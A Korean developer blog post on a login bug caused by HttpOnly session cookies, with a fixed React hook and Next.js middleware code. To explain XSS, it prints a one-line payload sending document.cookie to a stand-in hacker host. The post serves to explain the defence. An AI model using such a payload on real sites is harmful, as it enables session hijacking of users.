HTTP Only 옵션

회사에서 로그인 방식을 채택할때, 조금 다른 방식으로 구현된 경우가 있었다.

해당 방식은 로봇의 로그인 시스템을 이용하여 우리는 세션 아이디만 받아 관리되는 간단한 시스템이였는데

로그인 API 를 통해 200 상태가 와도 통과가 안되는 문제였다.

해당 부분은 로컬 혹은 테스팅에서는 발견이 안되고 특정 컴퓨터 혹은 실제 배포환경에서만 발견되어 이유를 찾지 못하고 해메고 있었는데 오늘에서야 문제점을 찾았다

문제가 된 부분은 'HTTPOnly' 옵션

Cookie 는 HTTP 통신을 할때 서로 주고받을 수 있는 값이며 Set-Cookie 를 통한 다양한 정보를 주고받곤 한다.

쿠키는 서버에서도 만들고 클라이언트에서도 만들기가 가능하며 서로 요청에 포함하여 서버에 전달하고 Response로 받기도 한다.

이때 문제가 되는 지점은 '보안' 인데 쿠키는 민감한 개인 정보들을 포함한 경우가 많아 해커들이 다양한 방법으로 해당 쿠키를 탈취하고자 한다.

보통 사용자 식별정보를 주게 되는데 이를 통해 탈취된 쿠키는 다른 사용자로 은닉하여 권한을 가져가게 된다.

쿠키를 훔치는 방법은 여러가지가 있는데 감청, 해킹프로그램등이다.

HTTP Only Cookies

이때 가장 대표적인 공격이 CSS(Cross Site Scripting) 이다.
location.href = 'http://해커/?cookies=' + document.cookie;
를 통하면 해당 코드를 통해 사용자가 쿠키를 탈취당하게 된다
document.cookie 를 통해 브라우저에서 접근이 가능하기 때문인데, 보통은 게시물을 통한 해킹을 시도한다.

이 취약점을 해결하기 위해서 나오는것이 HttpOnly 옵션이다.

해당 옵션을 통해 브라우저에서 쿠키 접근이 불가능하게 되고 해당 해킹 방안이 막히게 된다.

내 문제점

나는 해당 부분을 고려하지 않고 플로우를 구성했고. 직접적인 document.cookie 를 통한 접근을 시도해서 문제가 된 부분이였다

const sessionidCookie = document.cookie
  .split('; ')
  .find(row => row.startsWith('sessionid='));

if (!sessionidCookie) {
  console.warn('⚠️ sessionid 쿠키가 설정되지 않았습니다');
  return; // 🚫 리다이렉트 차단!
}

해당 부분을 해결하여

// ✅ 수정된 코드 (domains/auth/hooks/useLogin.ts)
if (responseData && responseData.meta.code === 200) {
  // HttpOnly 쿠키를 사용하므로 JavaScript로 쿠키 확인 불가
  // 백엔드에서 Set-Cookie 헤더로 세션 쿠키를 설정함
  devLog.log('✅ 로그인 성공 - HttpOnly 쿠키는 브라우저가 자동 관리');
  
  queryClient.invalidateQueries({ queryKey: ['sensors'] });
  
  // 리다이렉트 전에 현재 URL 확인
  devLog.log('📍 현재 URL:', window.location.href);
  
  // 즉시 대시보드로 리다이렉트 (HttpOnly 쿠키는 브라우저가 자동 관리)
  devLog.log('🔄 라우터 push 실행');
  router.push('/dashboard');
}

더이상 해당 쿠키를 확인하지 않고, Next js 의 미들웨어를 통해 처리하도록 변경하였다.

// ✅ 수정된 코드 (middleware.ts)
// 로그인한 사용자가 /auth 접근 시 대시보드로 리다이렉트
if (pathname.startsWith('/auth')) {
  const sessionid = request.cookies.get('sessionid')?.value;
  const isLoggedIn = sessionid && sessionid.trim() !== '' && sessionid !== "''";
  
  devLog.log('🔑 미들웨어 - /auth 경로 접근');
  devLog.log('🍪 미들웨어 - sessionid 쿠키:', sessionid);
  devLog.log('🔐 미들웨어 - 로그인 상태:', isLoggedIn);
  
  if (isLoggedIn) {
    devLog.log('✅ 미들웨어 - 이미 로그인됨, 대시보드로 리다이렉트');
    const dashboardUrl = new URL('/dashboard', request.url);
    return NextResponse.redirect(dashboardUrl);
  }
}

미들웨어의 경우 서버사이드로 동작하기 때문에 쿠키를 접근 할 수 있어 문제가 되지 않는다.